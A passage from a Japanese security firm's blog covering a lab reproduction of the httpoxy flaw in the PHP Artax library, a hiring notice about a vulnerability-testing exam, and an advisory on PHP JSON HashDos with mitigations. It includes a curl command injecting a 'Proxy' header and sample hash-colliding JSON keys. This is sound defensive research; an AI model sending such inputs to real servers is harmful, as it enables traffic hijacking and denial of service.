<li>Apache HTTP Serverのmod_headersやNginxのfastcgi_paramなどが利用できます</li>
</ul>
</li>
<li>WAFでDropする<ul>
<li>Apache HTTP Serverのmod_rewriteなどが利用できます</li>
</ul>
</li>
<li>外部接続にHTTPSを利用する</li>
<ul>
<li>HTTPS_PROXYを参照するようになり、原理的に影響を受けなくなります </li>
</ul>
</ul>
<br />
その他の回避策やより詳細な情報が必要な場合は次のサイトをご参照ください。<br />
<br />
<a href="https://httpoxy.org/">httpoxy公式</a><br />
<br />
<a href="https://www.nginx.com/blog/mitigating-the-httpoxy-vulnerability-with-nginx/">nginx公式の注意喚起</a><br />
<br />
<br />
<h1 id="-">
再現試験をしてみる</h1>
httpoxyに関してはhttpoxy.orgによるPoCが既に<a href="https://github.com/httpoxy">公開</a>されています。blogネタとしては少し出遅れた感もあるため、単に公開されているPoCを評価しても面白くないということで、AffectedになっているがPoCは公開されていないPHPのフレームワークであるArtaxを利用して試験をしてみます。<br />
<br />
<h1 id="-">
環境</h1>
今回の検証では次の環境を準備しました。<br />
<br />
検証環境イメージ図<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwTHFcQBAuJSeUJ-mLgsfZYHymPh0DmHp_bddHr1imbgx9qC3Uxo5mBxgUzJds9r0u7TnYXXua1J8fll5uAfj3BVzMLJ-utEog21mT2McB-yK_asqkpH24OAzPbDdh8xHDWUAaIzo_22c6/s1600/vm_image01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwTHFcQBAuJSeUJ-mLgsfZYHymPh0DmHp_bddHr1imbgx9qC3Uxo5mBxgUzJds9r0u7TnYXXua1J8fll5uAfj3BVzMLJ-utEog21mT2McB-yK_asqkpH24OAzPbDdh8xHDWUAaIzo_22c6/s320/vm_image01.png" width="320" /></a></div>
<br />
<br />
ごめんなさい。少しふざけました。<br />
大して変わりませんが、こちらが本当の構成です。<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcHfPEIEbQUqanZiwj_JeB0GN9Oq3nIPxefJYxP33gv7r_vM8Dj14JkOzTKFEc5EzKKbX5d40vonIQtsekUq154IaS1jcvAXH7T5TLAdFmsyZGpV2ofoXhGYDI9M8Xfu3OkzlGgNnrYwqb/s1600/vm_image02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcHfPEIEbQUqanZiwj_JeB0GN9Oq3nIPxefJYxP33gv7r_vM8Dj14JkOzTKFEc5EzKKbX5d40vonIQtsekUq154IaS1jcvAXH7T5TLAdFmsyZGpV2ofoXhGYDI9M8Xfu3OkzlGgNnrYwqb/s400/vm_image02.png" width="400" /></a></div>
<br />
Windows10では<code>"www.example.jp"</code>として疑似外部サイトを稼働させていますが、Proxyとして稼働するためのソフトウェアは入っていません。<br />
CentOS6.8にArtaxがインストールされています。ソフトウェアの詳細は次の表を参照してください。<br />
<span style="background-color: white;"><br /></span>
<center>
<table border="0" cellspacing="1" cellpadding="5" bgcolor="#4682B4">
<thead>
<tr>
<th style="background-color:#4682B4;color:#ffffff">OS/ソフトウェア</th>
<th style="background-color:#4682B4;color:#ffffff">バージョン</th>
<th style="background-color:#4682B4;color:#ffffff">備考</th>
</tr>
</thead>
<tbody>
<tr>
<td style="background-color:#ffffff;color:#666666">CentOS</td>
<td style="background-color:#ffffff;color:#666666">6.8</td>
<td style="background-color:#ffffff;color:#666666"></td>
</tr>
<tr>
<td style="background-color:#ffffff;color:#666666">Apache HTTP Server</td>
<td style="background-color:#ffffff;color:#666666">2.2.15</td>
<td style="background-color:#ffffff;color:#666666"></td>
</tr>
<tr>
<td style="background-color:#ffffff;color:#666666">phpenv</td>
<td style="background-color:#ffffff;color:#666666">rbenv 1.0.0-21-g9fdce5d</td>
<td style="background-color:#ffffff;color:#666666"></td>
</tr>
<tr>
<td style="background-color:#ffffff;color:#666666">PHP</td>
<td style="background-color:#ffffff;color:#666666">5.5.37</td>
<td style="background-color:#ffffff;color:#666666"></td>
</tr>
<tr>
<td style="background-color:#ffffff;color:#666666">Composer</td>
<td style="background-color:#ffffff;color:#666666">1.2.0</td>
<td style="background-color:#ffffff;color:#666666"></td>
</tr>
<tr>
<td style="background-color:#ffffff;color:#666666">Artax</td>
<td style="background-color:#ffffff;color:#666666">2.0.3</td>
<td style="background-color:#ffffff;color:#666666">2.0.4でfix</td>
</tr>
</tbody>
</table>
</center>
<br />
検証を行うため、事象が再現したことを確認するために確認用のPHPファイル<code>"httpoxy.php"</code>を設置します。<br />
以下は<code>"httpoxy.php"</code>の内容です。<br />
<br />
<pre class="brush: php"><?php
use Amp\Artax\Client;
require 'artax/vendor/autoload.php';
echo "<h1>httpoxy exploit check</h1><br>\n";
echo "<br>==============================================<br>\n";
echo "var_dump(\$_SERVER['HTTP_PROXY']);\n";
var_dump($_SERVER['HTTP_PROXY']);
echo "<br>";
echo "getenv('HTTP_PROXY');\n";
var_dump(getenv('HTTP_PROXY'));
echo "<br>";
echo "<br>==============================================<br>\n";
try {
$client = new Client;
$promise = $client->request('http://www.example.jp');
$response = Amp\wait($promise);
printf(
"\nHTTP/%s %d %s\n",
$response->getProtocol(),
$response->getStatus(),
$response->getReason()
);
} catch (Exception $error) {
echo $error;
}
</pre>
このサンプルでは、phpファイルが読み込まれた際、環境変数HTTP_PROXYの内容を表示するとともに非同期通信で<code>"http://www.example.jp"</code>宛ての通信が発生し、ステータスコードを表示します。<br />
<br />
実際にブラウザからアクセスすると次の様な表示になります。<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmLMaAAdKa5EE11zRPnLfIyfhgGfNW6hVSfbt9yePBuZ6An7_ajLdsjn2SqctOx5YXYID0WhoxFp_9KrKlNdzNvMNpnBMR4QECx6egvHEeu0eR1jzTgmy5MFWyNsVCUsjeK4HD_13JxjeF/s1600/httpoxy.php_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmLMaAAdKa5EE11zRPnLfIyfhgGfNW6hVSfbt9yePBuZ6An7_ajLdsjn2SqctOx5YXYID0WhoxFp_9KrKlNdzNvMNpnBMR4QECx6egvHEeu0eR1jzTgmy5MFWyNsVCUsjeK4HD_13JxjeF/s640/httpoxy.php_00.png" width="640" /></a></div>
<br />
<br />
通常HTTPリクエストヘッダに<code>Proxy</code>が含まれることはないので<b><code>null</code></b>や<b><code>false</code></b>が返却されます。また、非同期で外部アクセスを行った際のレスポンスに対するステータスが表示されています。<br />
<br />
次に環境変数がセットされることを確認するためにHTTPリクエストヘッダに<code>"Proxy: 192.168.80.1:8080"</code>を設定してリクエストを送ります。<code>"192.168.80.1"</code>はWindows10のIPアドレスですが、ポート番号8080へのアクセスは受け付けない状態です。<br />
つまり「<b>ARPは解決できるが、TCP接続は受け付けない状態</b>」であるということです。<br />
<br />
HTTPリクエストヘッダを追加したリクエストを簡単に実現するため、今回は<b>curl</b>コマンドを利用します。以下は実行例です。<br />
<pre class="brush: shell">$ curl -H "Proxy: 192.168.80.1:8080" "http://192.168.80.234/httpoxy.php"
</pre>
<br />
すると次の結果が返却されます。<br />
<pre class="brush: html; first-line: 6; highlight: [7, 9];">
var_dump($_SERVER['HTTP_PROXY']);
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br>getenv('HTTP_PROXY');
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br><br>==============================================<br>
HTTP/1.1 200 OK
</pre>
<br />
ハイライトの箇所でProxyヘッダに設定したアドレスとポートが出力されていることが分かります。
PHP上で環境変数<code>HTTP_PROXY</code>が読み込める状態であるということです。<br />
しかし、何かがおかしいです。<br />
<pre class="brush: shell; first-line: 12">
HTTP/1.1 200 OK
</pre>
<br />
<b>そうです。なんと事象が再現していないのです…</b><br />
<a href="https://www.blogger.com/blogger.g?blogID=3279382045519981789" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><br />
本来であればクライアントからのHTTPリクエストヘッダによって設定された環境変数に基づいてProxyへのアクセスが発生するため、Artaxによる非同期通信が失敗するはずなのですが、Proxyへのアクセスが行われていません。ということで、Artaxのソースコードを確認したところ、次のことが判明しました。<br />
<br />
まず、ArtaxはProxyのパラメータを2つのオブジェクト(Client, HttpSocketPool)内に<b>同じ配列名</b>かつ<b>同じ変数名</b>の<code>"$options[self::OP_PROXY_HTTP]"</code>で保持しており、<code>"getenv('http_proxy')"</code>で取得した値はHttpSocketPool側で保持されています。そして、<code>"new Client;"</code>したタイミングでコンストラクタにより<code>"new HttpSocketPool;"</code>も実行され、<b>自動的に環境変数が読み込まれます</b>。<br />
※<code>"self::OP_PROXY_HTTP"</code>は双方共にHttpSocketPoolの定数を参照しています<br />
<br />
2つオブジェクトが保持している配列のパラメータはリクエストを送信する際に<b>array_merge関数によってマージ</b>されてから利用されますが、オブジェクトClientのパラメータで上書きされる仕様(?)により、HttpSocketPoolで保持した値は使われていません。<br />
<br />
図にするとこんなイメージです。<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU2-qeYmqQtJGKhu6ehLV12zqO5Gg7SCE-G2VfuMEMHHpQ09GcMN_rYDy8-D80YgN6ICzWTxW51LhnCo1MaT43UKmEMNSvZxzAFfAYfrO3lKOSp7a9ewO4rvSY5QC390wcKBcxgGJJQO6p/s1600/seni02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU2-qeYmqQtJGKhu6ehLV12zqO5Gg7SCE-G2VfuMEMHHpQ09GcMN_rYDy8-D80YgN6ICzWTxW51LhnCo1MaT43UKmEMNSvZxzAFfAYfrO3lKOSp7a9ewO4rvSY5QC390wcKBcxgGJJQO6p/s640/seni02.png" width="640" /></a></div>
<br />
<br />
<br />
<a href="https://www.blogger.com/blogger.g?blogID=3279382045519981789" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a> 以下は、HttpSocketPool内のcheckout関数で利用されている実際のコードですが、$optionsにオブジェクトClientで設定されているパラメータが格納されています。ProxyのパラメータはオブジェクトClientの初期化時に必ず空('')で生成されるため上書きされます。<br />
<br />
<pre class="brush: php; first-line: 57;">$options = $options ? array_merge($this->options, $options) : $this->options;
</pre>
<br />
このような実装になっているのは、オブジェクトClientのパラメータ内でproxyを指定可能にしているからだと考えられますが、すこしモヤモヤした気持ちになります。<br />
<br />
<code class="lang-php:proxyをClientで指定する際のコード">
</code>ということで、ここまで確認した結果として攻撃を成功させることは出来なさそうです。<br />
しかし、<b>正直言って攻撃を成功させたい!</b><br />
<br />
仕方がないので、攻撃を行うためにHttpSocketPool.phpのcheckout関数で該当コードを次の内容に変更してちゃんと(?)環境変数が読み込まれるようにします(ぇ<br />
<br />
<pre class="brush: php; first-line: 57; highlight: [58];">//$options = $options ? array_merge($this->options, $options) : $this->options;
$options = $options ? array_merge($options, $this->options) : $this->options;
</pre>
<br />
変更後に再度同じ<code>curl</code>コマンドでアクセスすると次の出力が確認出来ました。<br />
※長いのでStack traceは割愛しています<br />
<pre class="brush: html; first-line: 6; highlight: [11, 13];">var_dump($_SERVER['HTTP_PROXY']);
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br>getenv('HTTP_PROXY');
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br><br>==============================================<br>
exception 'Amp\TimeoutException' with message 'Promise resolution timed out' in /var/www/DVWA/artax2.0.3/vendor/amphp/amp/lib/functions.php:676
Next exception 'Amp\Socket\ConnectException' with message 'Connection to tcp://192.168.80.1:8080#www.example.jp:80 failed: timeout exceeded (30000 ms)' in /var/www/DVWA/artax2.0.3/vendor/amphp/socket/lib/functions.php:127
</pre>
<br />
ハイライト部分でタイムアウトが発生していることが分かります。<br />
以下はその際のtcpdump実行結果です。Proxy向けのアクセスが発生しています。<br />
<pre class="brush: text">[root@centos6 lib]# tcpdump -nni eth0 port 8080
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
19:23:56.041643 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581206244 ecr 0,nop,wscale 7], length 0
19:23:57.041446 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581207244 ecr 0,nop,wscale 7], length 0
19:23:59.041698 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581209244 ecr 0,nop,wscale 7], length 0
</pre>
<br />
<b>コードを書き換えることにより、無事に(?)外部から指定したProxy向け通信を発生させることに成功しました!</b><br />
<br />
<h1 id="-">
まとめ</h1>
弊社で検証を実施した限り、オブジェクトClientを生成してリクエスト送信した場合において問題事象が発生することは無さそうです。しかし、絶対に問題が発生しないと保証することはできませんので、Artaxを利用される方は<b>必ずv2.0.4以降へのバージョンアップを検討してください</b>。<br />
<br />
※本blogの記事は公開している内容やアプリケーションの動作を保証するものではありません。そのため、公開情報を利用される場合は、必ずご自身で検証されたうえでの利用をお願いいたします。Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-71579278788171508432016-03-03T09:15:00.002+09:002016-03-03T09:15:55.993+09:00HASHコンサルティングの入社試験ではウェブ健康診断実技を実施していますHASHコンサルティング株式会社では、一緒に働く仲間を募集しています。弊社はウェブアプリケーションのセキュリティを専門分野にしていますので、ウェブアプリケーションの開発経験のある方を歓迎いたします。セキュリティの専門知識や経験は、入社いただく時点では必須とはしておりません。<br />
<br />
セキュリティの業務経験がない方に対する適性試験として、弊社ではウェブ健康診断仕様にもとづく脆弱性診断の実技体験をしていただいています。実務経験がない方が対象ですので、脆弱性診断のやり方は弊社代表の徳丸が説明いたします。下記は、実技体験に用いるソフトウェアが動いている画面のイメージです。<br />
<ul>
<li>ウェブ健康診断仕様記載の脆弱性「全部入り」のWebアプリケーション(VMware)</li>
<li>ブラウザ(Firefox)</li>
<li>Burp Suite Professional</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1kKJN6LxyIz89ykYYET1ZyL8KgywYVEQUq_Pvz6fCErqOuQ2V6Voxlpj7M-3OROzbMSXIv5e7BUvUVBsQfW-QrRnH_LJbG_rOIde2ZyYGLDsswIlchrBJcGqH_caGC_xDv4mac4EmFw/s1600/kenkoshindan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1kKJN6LxyIz89ykYYET1ZyL8KgywYVEQUq_Pvz6fCErqOuQ2V6Voxlpj7M-3OROzbMSXIv5e7BUvUVBsQfW-QrRnH_LJbG_rOIde2ZyYGLDsswIlchrBJcGqH_caGC_xDv4mac4EmFw/s640/kenkoshindan.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
上記はログイン画面でSQLインジェクション検査をしているところで、なにやらエラーメッセージが表示されています。<br />
<br />
実技体験では、徳丸の説明の後、実際に脆弱性診断をしていただきます。その様子を観察することで、実技試験としています。<br />
その際、手が早く動くことが高ポイントであるとは限りません。脆弱性診断は、ブラックボックスの中身を推測できることが重要であり、その際に、ウェブアプリケーションの開発経験が役に立ちます。そのため、診断中に表示されるさまざまなエラーメッセージに対して、徳丸が質問をしますので、その受け答えが重要な判断材料になります。以下の様な感じです。架空の応募者を高橋と表記します。<br />
<br />
徳丸: それでは高橋さん、このパラメータについてSQLインジェクション検査をしてください。<br />
高橋: 分かりました…あっ、なんかエラーがでました<br />
徳丸: 先ほどのエラーと同じですか?<br />
高橋: 違いますね。File not foundと出ていますので。<br />
徳丸: 中で何が起こっているか、推測できますか?<br />
高橋: …シングルクォートをファイル名としてファイルオープンしたが、そのようなファイルはなかったのかと…<br />
徳丸: 素晴らしい! それでは…<br />
<br />
その際、脆弱性の名前を正答することが重要なのではありません。エラーメッセージから、アプリケーション内部で起こっていることを推測できることを重視いたします。セキュリティの知識は、入社してからいくらでも学習できますが、デバッグの勘所のようなものは、セキュリティ実務だけでは習得が難しいからです。<br />
<br />
徳丸が自らテストをするということで、「お腹が痛くなりそう」と言った方もおられますが、脆弱性診断の基礎の基礎が習える機会とでも考えていただいて、気楽にご応募下さい。ただし、冷やかしでは困りますが(笑)。<br />
<br />
入社試験は面接と実技試験あわせて1.5時間程度かかります。時間の余裕のある日時を指定いただくか、2回に分けて受験いただいても構いません。<br />
<br />
皆様の積極的な応募をお待ちしています。応募を希望される方は、こちらの<a href="https://www.hash-c.co.jp/contact/contact.cgi">問い合わせフォーム</a>から入社希望の旨ご連絡ください。人材募集については、<a href="http://www.e-guardian.co.jp/publicrelations/blog/20150601">こちらの記事</a>もご参照ください。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-61028133860293681692015-10-13T10:12:00.002+09:002015-10-13T11:16:24.735+09:00PHPのJSON HashDosに関する注意喚起4年前にHashDos(Hash Collision Attack)に関する効率的な攻撃方法が28C3にて公開され、PHPを含む主要言語がこの攻撃の影響を受けるため対策を実施しました。しかし、PHP以外の言語が、ハッシュが衝突するデータを予測困難にする対策をとったのに対して、PHPは、GET/POST/COOKIE等の入力データの個数を制限するという対症療法を実施したため、PHPにはHashDosに対する攻撃経路がまだ残っているということは、一部の技術者には知られていました。例えば、以下の様なつぶやきにも見ることができます。
<br />
<blockquote class="twitter-tweet" lang="ja">
<div dir="ltr" lang="ja">
だって、 hashdos 脆弱性の時、 Python とかの言語が、外部入力をハッシュに入れるときに衝突を狙えないように対策したのに、phpだけPOST処理で対策したからね?
json を受け取るような口もってるphpアプリのほとんどがhashdos残ってるんじゃない?</div>
— INADA Naoki (@methane) <a href="https://twitter.com/methane/status/611041905443389440">2015, 6月 17</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
このような状況に対して、約1年前にjson_decodeを入力経路とするHashosのPoC(概念実証コード)が公開されており、潜在的には「いつ攻撃があってもおかしくない」状況になっています。この攻撃をJSON HashDosと呼ぶことにします。本稿はJSON HashDosの概要を説明し、その影響と対策等について報告します。<br />
<br />
<h4>
はじめに</h4>
昨年の11月17日、スイスの Lukas Martinelli によって、PHPのjson_decode関数にHashDos脆弱性があることと、具体的な攻撃方法が公表されました。<br />
<blockquote class="tr_bq">
<a href="http://lukasmartinelli.ch/web/2014/11/17/php-dos-attack-revisited.html">PHP Denial of Service Attack Revisited</a></blockquote>
そして、この記事がPHP Internals - PHP Runtime Development Mailing List にて紹介されました(2014/12/23)。<br />
<blockquote class="tr_bq">
<a href="http://lukasmartinelli.ch/web/2014/11/17/php-dos-attack-revisited.html">http://lukasmartinelli.ch/web/2014/11/17/php-dos-attack-revisited.html</a><br />
Sigh
<br />
<br />
<a href="http://marc.info/?l=php-internals&m=141935165017695">[PHP-DEV] JSON HASHDOS (アーカイブ)</a>より引用
</blockquote>
Sigh(やれやれ)の中身の心は「スイスの若造がいきなりこんなゼロデイ脆弱性をPoCつきで公表しやがって」くらいでしょうか(PoCは現在は削除されているようです)。しかし、皮肉なことに、このメーリングリストの投稿(公開です)により、この攻撃方法が広く知られることになってしまいました。<br />
<br />
以下、攻撃の概要と対策について説明します。<br />
<br />
<h4>
HashDosとは何だったか</h4>
古典的なHashDos(Hash Collision Attack)は、PHPをはじめ多くの言語で使用されているデータ構造「ハッシュテーブル」の「衝突(Collision)」を巧妙に悪用したサービス妨害攻撃です。ハッシュテーブルでは、キー文字列のハッシュ関数(MD5などの暗号的なハッシュ関数である必要はない)を用います。PHPで用いられているハッシュ関数はDJBX33Aと呼ばれるもので、概ね以下のようなコードです。実際のコードは速度最適化のためにこれより複雑です。<br />
<blockquote>
<pre>ulong get_hash(const char *arKey)
{
ulong hash = 5381; // 初期値
while (*arKey) {
hash = hash * 33 + *arKey++;
}
return hash;
}</pre>
</blockquote>
この関数で求めたハッシュ値(整数)を配列に添字として用いることにより、平均的には、データのサーチ、挿入、削除をO(1)(定数オーダー)の時間で求めることができるというものです。しかし、最悪ケースでは「たまたま」ハッシュ値がすべてのデータで一致した場合は、すべてのデータが配列上の同じ添字のところに入る(衝突)ため、一件あたりのサーチ、挿入、削除の処理時間はO(N)(データ量に比例するオーダーの)時間になります。N件のデータの挿入はO(N ** 2) (データ量の2乗のオーダーの)時間がかかります。<br />
<br />
2011年末に<a href="http://events.ccc.de/congress/2011/Fahrplan/">28C3(28th Chaos Communication Congress)</a>において発表されたHashDosのPoCでは、DJBX33AではEz、FY、G8等のハッシュ値が等しくなることから、これらを組み合わせることにより簡単にハッシュ値の衝突が起こせることを悪用していました。例えば、EzEz、EzFY、FYEz、FYFYは、上記のハッシュ関数ではいずれも0x17c84f603を返します(64ビット環境の場合)。その場合、ハッシュテーブルにデータを挿入する様子は下図で示されます。この図(アニメーションGIF)はLukas Martinelliのブログから引用しました。<br />
<br />
<img src="https://www.hash-c.co.jp/image/hash-collisions.gif" /><br />
<br />
28C3で発表されたPoCでは、HTTPのリクエスト(GET/POST/Cookie等)をPHPが内部的に連想配列(ハッシュ)として取り込むところを攻撃経路にしていました。この時点ではアプリケーションは処理を開始しておらず、アプリケーション側での対処は不可能なため、PHP5.3.9にて実行時設定<a href="http://php.net/manual/ja/info.configuration.php#ini.max-input-vars">max_input_vars</a>が導入され、POST等の変数の数を制限する(デフォルトは1000)という対症療法がとられました。<br />
<br />
<h4>
JSON HashDosの概要</h4>
上記の「古典的HashDos」に対して、Lukas MartinelliのPoCは以下の点が異なっています。<br />
<ul>
<li>json_decode関数によるJSONデータの受付処理を攻撃経路としている</li>
<li>ハッシュの衝突をハッシュ値の下位16ビットに限定している</li>
</ul>
紹介された脆弱なコードから本質的な2行を紹介します。<br />
<blockquote class="tr_bq">
<pre>$body = file_get_contents('php://input'); // POSTデータを取得
$params = json_decode($body); // POSTデータをJSONとしてデコード</pre>
</blockquote>
最近のWeb APIではJSONでデータをWebサーバーに送信(リクエスト)する場合が多いと思いますが、上記は、PHPでこれを実現する場合の典型的なコードでしょう。<br />
そして、Lukas MartinelliのPoCでは、ハッシュ値の衝突を起こすキー文字列は以下のようになっています(オリジナルのPoCでは2個目のキーが4wP2となっていますが、4wPの誤植と思われます)。<br />
<blockquote>
<pre>PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4", "64q":"key5" }
hash('4vq') = b87<span style="color: red;">9fc0</span>
hash('4wP') = b87<span style="color: red;">9fc0</span>
hash('5Uq') = b87<span style="color: red;">9fc0</span>
hash('5VP') = b87<span style="color: red;">9fc0</span>
hash('64q') = b87<span style="color: red;">9fc0</span>
...
// 以下はgithub上で紹介されていたPoCに存在するキー
...
hash('aOtw') = 17c93<span style="color: red;">9fc0</span>
...
hash('dUUuVB') = 652f755<span style="color: red;">9fc0</span><span style="font-family: MS PGothic;"><span style="white-space: normal;">
</span></span></pre>
</blockquote>
Lukas MartinelliのPoCにて、ハッシュ値の衝突を下位16ビットに限定している理由は、PHPが内部で使用しているハッシュ表のサイズnTableSizeが2のn乗であり、ハッシュ値は nTableSize - 1でマスクして用いているからです。すなわち、実際には、ハッシュ値の下位ビットのみが用いられるため、すべてのビットが一致している必要はありません。<br />
<br />
<h4>
実験</h4>
キーのハッシュ値下位16ビット(128K個のデータは17ビット)が全て一致するJSONデータを用い、先の「脆弱なコード」に処理させた結果を以下に示します。実行環境は、Windows7(Intel Core i7-4770 3.4GHz)上のVMware Playerで動くUbuntu12.04 32bitです。<br />
<br />
PHP-5.6.14
<style type="text/css">
table.sample{
border-top:1px solid #000066;
border-left:1px solid #000066;
border-collapse:collapse;
border-spacing:0;
background-color:#ffffff;
empty-cells:show;
}
.sample th{
border-right:1px solid #000066;
border-bottom:1px solid #000066;
color:#330000;
background-color:#AAAAFF;
background-position:left top;
padding:0.3em 1em;
text-align:center;
}
.sample td{
border-right:1px solid #000066;
border-bottom:1px solid #000066;
padding:0.2em 0.8em;
}
</style>
<br />
<table class="sample">
<tbody>
<tr><th>データ数</th><th>実行時間(秒)</th><th>データサイズ(バイト)</th></tr>
<tr><td>32K(2^15)</td><td>5.7</td><td>346,157</td></tr>
<tr><td>64K(2^16)</td><td>20.2</td><td>708,676</td></tr>
<tr><td>128K(2^17)</td><td>91.3</td><td>1,435,685</td></tr>
</tbody></table>
<br />
参考までにPHP-7.0.0RC4での結果を以下に示します。ハッシュ関数の実装は変わっていないようですが、内部処理の高速化により、全体で 1.7倍から 2倍近く高速化されていて素晴らしいですね…しかし、HashDosの影響を受けること自体は変化がないようです。<br />
<br />
PHP-7.0.0RC4<br />
<table class="sample">
<tbody>
<tr><th>データ数</th><th>実行時間(秒)</th><th>データサイズ(バイト)</th></tr>
<tr><td>32K(2^15)</td><td>3.2</td><td>346,157</td></tr>
<tr><td>64K(2^16)</td><td>11.8</td><td>708,676</td></tr>
<tr><td>128K(2^17)</td><td>46.0</td><td>1,435,685</td></tr>
</tbody></table>
<br />
<h4>
攻撃の影響</h4>
JSON HashDosの影響により、CPU負荷が上昇し、新たなリクエストを受け付けにくい状態になります。一方、サーバーダウンや、内部情報の漏洩、データの改ざん等は発生しません。<br />
類似の脆弱性であるApacheKillerの場合は、メモリ消費量が急上昇することによりサーバーがダウンする可能性もあります(参考: <a href="http://blog.tokumaru.org/2011/08/apache-killerapache-killer.html">Apache killerは危険~Apache killerを評価する上での注意~</a>)が、HashDosは単にCPU負荷の上昇だけであり、攻撃がやめば比較的短時間にサーバーは復旧します。<br />
<br />
<h4>
現状での攻撃の有無</h4>
今回紹介するJSON HashDosについては、Lukas Martinelliの発表後一年近くが経ちますが、現実に攻撃に使われたとするニュースは見当たりません。それ以前の話として、過去に話題となったいわゆるApache KillerやオリジナルのHashDosについても、攻撃はほとんど見当たらない状況です。それは、下記に引用する金床氏のブログ記事でも指摘されています。<br />
<blockquote class="tr_bq">
数年前に発見されたHashDoSですが、実際に攻撃が行われているケースは殆ど目にしません。ソフトウェアのロジックを突くDoSとしては、他にApacheに対してRangeヘッダを使う攻撃手法(Apache Killer)なども発見されましたが、こちらも同様に、殆ど実際の攻撃としては検知していません。DoS攻撃にはもっと単純で、攻撃対象のアーキテクチャを調べる必要のない、シンプルな物量攻撃が好まれているような印象です。そのため筆者としてはHashDoSのセキュリティリスクは非常に低いものという認識です。<br />
<a href="http://www.scutum.jp/information/waf_tech_blog/2015/01/waf-blog-039.html">ScutumのゼロデイHashDoS対策と、JavaのXMLパーサ実装</a>より引用</blockquote>
<br />
<h4>
既存ソフトウェアへの影響</h4>
JSON HashDosは、PHPのjson_decode関数に外部データをそのまま与えると発生するというシンプルな条件なので、JSONを入力とするPHP記述のWeb APIでは該当する可能性があります。<br />
私は、<a href="https://tokyo.wordcamp.org/2015/">WordCamp Tokyo 2015</a>にて講演するため、そのネタ探しとして、WordPressに対するJSON HashDosの影響を調べたところ、以下が判明しました。<br />
<ul>
<li>WordPress 2.5から3.8.11(3.8系の最新版)はJSON HashDosの影響を受ける</li>
</ul>
一方、WordPressの3.9から4.3.1(WordPressの最新版)ではJSON HashDosの影響は見当たりませんでした。<br />
従って、WordPress3.8以下をお使いのサイトは、緊急ではないものの、WordPressの最新版に移行することを推奨します。<br />
<br />
<h4>
対策</h4>
現状、HashDosや類似のDoS攻撃が実地に使用されるケースがないことと、単純なDoSであり情報漏えいや改ざん等には至らないことから、この問題に対策せず許容するという判断はあり得ると考えます。<br />
<br />
一方、JSON HashDosの影響を重視し、対策するとすれば、以下が考えられます。<br />
<br />
(1) json_decodeの入力値を検証する<br />
JSON HashDosの攻撃に用いるデータは、最低でも数十キロバイトはないと効果的でないため、入力値のバリデーションによりjson_decodeの入力値のデータサイズを制限できれば、攻撃を緩和できます。<br />
<br />
(2) max_execution_time を制限する<br />
max_execution_time は、スクリプトの最長実行時間で、この時間を過ぎるとPHP処理系により強制終了させられます。デフォルト値は30秒です。この時間を短くすると、JSON HashDosによる攻撃を早めに終わらせられるため、攻撃の緩和になります。<br />
<br />
(3) JSONの代わりにXMLを入力とする<br />
修正としては大掛かりになりますが、JSONの代わりにXMLを使用することでも対策になります。<br />
筆者が確認したのは、SimpleXML系のライブラリですが、SimpleXMLを使用すると、XMLデータをPHPの配列ではなく、libxml2の内部形式でデータを保持し、かつlibxml2がHashDos対策がされているため、JSON HASH DOSの影響を受けないと考えられます(実証済み)。<br />
一方、SimpleXMLではなく、xml_parse_into_structのようにXMLデータをPHPの配列に変換するような用法では、HashDosの影響を受けます。ただし、xml_parse_into_structはデフォルトでタグを大文字に変換するため、HashDosの影響は受けにくいのですが、以下のように大文字・小文字を区別する設定の場合は、json_decodeと同様にHashDosの影響を受けます。<br />
<blockquote>
<pre>$xml_parser = xml_parser_create(); // XMLパーサを生成
